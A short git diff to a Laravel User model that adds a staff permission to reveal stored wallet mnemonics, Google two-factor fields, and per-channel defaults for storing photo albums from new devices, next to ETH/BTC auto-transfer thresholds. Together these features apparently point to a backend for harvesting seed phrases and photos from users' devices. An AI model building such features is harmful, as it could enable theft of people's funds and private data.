feat: menric
This commit is contained in:
+31
-3
@@ -15,10 +15,11 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth',
|
||||
'auto_transfer_threshold_btc',
|
||||
'album_storage_default',
|
||||
'can_reveal_mnemonics',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
'password', 'remember_token', 'bot_token',
|
||||
'password', 'remember_token', 'bot_token', 'google_secret',
|
||||
];
|
||||
|
||||
protected static function booted(): void
|
||||
@@ -41,11 +42,14 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||
'album_storage_default' => 'boolean',
|
||||
'can_reveal_mnemonics' => 'boolean',
|
||||
'google_auth_open' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
protected $attributes = [
|
||||
'album_storage_default' => false,
|
||||
'can_reveal_mnemonics' => false,
|
||||
];
|
||||
|
||||
public function isEnabled(): bool
|
||||
@@ -63,9 +67,30 @@ class User extends Authenticatable
|
||||
return (bool) ($this->album_storage_default ?? false);
|
||||
}
|
||||
|
||||
public function mnemonicRevealEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->can_reveal_mnemonics ?? false);
|
||||
}
|
||||
|
||||
public function canRevealMnemonics(): bool
|
||||
{
|
||||
return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
}
|
||||
|
||||
public function requiresLoginGoogle(): bool
|
||||
{
|
||||
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* New-device album_storage default for a channel.
|
||||
* Agent channels use that agent's switch (defaults off). Official / unknown stay off.
|
||||
* Agent channels use that agent's switch. Official channels use the system switch.
|
||||
* Unknown channel IDs stay off.
|
||||
*/
|
||||
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||
{
|
||||
@@ -75,9 +100,12 @@ class User extends Authenticatable
|
||||
}
|
||||
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
if ($userId === null) {
|
||||
return false;
|
||||
}
|
||||
if ((int) $userId === Channel::OFFICIAL_USER_ID) {
|
||||
return (bool) config('coruna.album_storage.official_default');
|
||||
}
|
||||
|
||||
$agent = static::query()->find((int) $userId);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user